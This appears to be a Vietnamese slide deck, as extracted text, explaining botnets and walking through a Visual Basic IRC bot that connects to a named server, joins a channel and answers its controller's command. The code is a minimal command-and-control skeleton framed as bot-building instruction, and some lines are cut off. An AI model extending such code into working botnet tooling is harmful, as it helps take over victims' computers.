2. Nội dung trình bày
1.
2.
3.
4.
5.
6.
7.
Botnet là gì?
Mạng Botnet được tạo nên bởi gì?
Các con bot liên lạc với hacker bằng gì?
Các con bot đã dùng các server IRC như thế nào?
Cài bot vào máy Normal User như thế nào?
Cách tạo một con “Bot”
Điều khiển bot thế nào?
3. 1. Botnet là gì?
• Botnet là một mạng gồm từ hàng trăm tới hàng triệu máy tính bị điều
khiển hoàn toàn
• Theo thuật ngữ người ta gọi các máy tính này là Zombie (tức các thây ma)
• Chúng bị điều khiển để cùng làm một công việc gì đó theo mục đích của
hacker điều khiển chúng vd: tải v
4. 2. Mạng Botnet được tạo nên bởi gì?
• Nền tảng của BotNet là một chương trình máy tính được thiết kế để liên
lạc với hacker.
• Nhận lệnh và thực hiện lệnh của hacker, người ra gọi chương trình này
là "Bot" (viết tắt từ robot).
5. 3. Các con bot liên lạc với hacker bằng gì?
• Kể từ những phiên bản đầu tiên các bot đã được thiết kế để nhận lệnh
thông qua các IRC server
• Các máy chủ Internet Relay Chat một dạng máy chủ chạy dịch vụ chat
công cộng (thường các máy chủ này là các máy chủ thuộc họ *nix ) để
nhận được lệnh từ hacker một cách nhanh nhất.
6. 4. Các con bot đã dùng các server IRC như thế nào?
• Các máy chủ chạy dịch vụ IRC thường lắng nghe trên port 6667 ( một port
cao ).Và các chương trình IRC server sử dụng một tập các chỉ thị gọi là
lệnh IRC ( IRC commands )
• Các bot thực hiện việc tạo một kết nối ( connection ) thông qua giao thức
TCP/IP đến port 6667 của máy chủ IRC rồi sau đó dùng tập lệnh IRC để
gửi và nhận các tin nhắn tới hacker.
7. 5. Cài bot vào máy Normal User như thế nào?
• Các Bot đều có tính năng đầy đủ của một trojan và sự kết hợp nhuần
nhuyễn từ virus.
• Các con bot đều có thể tự lây lan thông qua các lỗ hổng của hệ điều hành
và chiếm quyền điều khiển máy của "người dùng bình thường".
• Ngoài ra một số bot không được tích hợp tính năng lây lan nên nó cần
được sự hộ tống của một virus ( đây chính là dạng lây lan phổ biến của các
bot hiện nay )
8. 6. Cách tạo một con “Bot”
• 6.1. Điều đầu tiên mà bạn phải học là tập lệnh IRC
• 6.2. Một số Sub chính cho bot
9. 6.1. Điều đầu tiên mà bạn phải học là tập lệnh IRC
Tập lệnh IRC sẽ có sự khác biệt đôi chút khi nó chạy trên các chương trình quản lý
IRC server khác nhau
• USER <Real Name> là lệnh thiết lập tên thật cho bot khi nó vào IRC server
• NICK <NickName> là lệnh thiết lập nick name cho bot
• JOIN <Channel> là lệnh cho bot truy cập vào một "kênh" (channel), channel
tương tự như một room chat vậy
• PRIVMSG <Channel> : <Message> là lệnh gửi tin nhắn tới hacker
10. 6.2. Một số Sub chính cho bot
1. Khai báo hằng và biến
2. Bạn tạo môt Form mới và kéo thả vào đó thành phần WinSock đặt thuộc
tính name là ws
3. Sub thực hiện việc gời command sau khi kết nối hoàn thành
4. Sub đáp trả khi bot nhận được lệnh
11. 1- Khai báo hằng và biến
Const Server As String = "irc.datviet.net" 'tên channel
Const Port As Integer = 23
Const Channel As String = "NoHat"
Dim Nick As String
'port
'Kênh mà bot sẽ chui vào
'Nick của bot
12. 2- Bạn tạo môt Form mới và kéo thả vào đó thành
phần WinSock đặt thuộc tính name là ws
Private Sub Form_Load()
ws.Connect Server, Port
'Tạo một kết nối tới server IRC
Nick = "Tester" & LTrim(RTrim(Str(Int(Rnd * 100))))
End Sub
13. 3- Sub thực hiện việc gời command sau khi
kết nối hoàn thành
Private Sub ws_Connect()
Dim UserName, RealName As String
UserName = Nick
RealName = Nick
ws.SendData "USER " & UserName & " 0 * " & RealName & vbCrLf
ws.SendData "NICK " & Nick & vbCrLf
ws.SendData "JOIN " & Channel & vbCrLf
ws.SendData "PRIVMSG " & Channel & ":" & " Bot chao master" & vbCrLf
End Sub
14. 4- Sub đáp trả khi bot nhận được lệnh
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Dim Pos As Integer
Dim Master As String
ws.GetData strData
DoEvents
If InStr(strData, "liveornot") <> 0 Then
Pos = InStr(1, strData, "!")
Master = Mid(strData, 2, Pos - 2)
ws.SendData Replace(strData, "liveornot", "Live") & vbCrLf
ws.SendData "PRIVMSG " & Master & " " & Replace(strData, "liveornot", "Live") & vbCrLf
End If
EndSub
15. 7. Điều khiển bot thế nào?
Để điều khiển bot bạn hãy cho chạy thử con bot trên để làm ví dụ
Sau đó bật một chương trình IRC Client nào đó ví dụ mIRC
Rồi kết nối vào máy server là irc.datviet.net với port 23 ( đáng nhẽ là port 6667 nhưng không
hiểu sao đa phần các IRC server của Việt Nam lại dùng port 23 ?! ) với một nick tùy ý
gõ lệnh: /JOIN NoHat (phải có dấu "/" vì mIRC .... bắt phải thế chứ IRC server không bắt thế
đâu )
là bạn đã có mặt trong cùng channel với bot của bạn
sau đó hãy gõ lệnh: LiveOrNot
smilie )
Con bot sẽ trả lời bạn rằng: Live
(chú ý viết hoa y chang nếu không con bot nó ngu ra mặt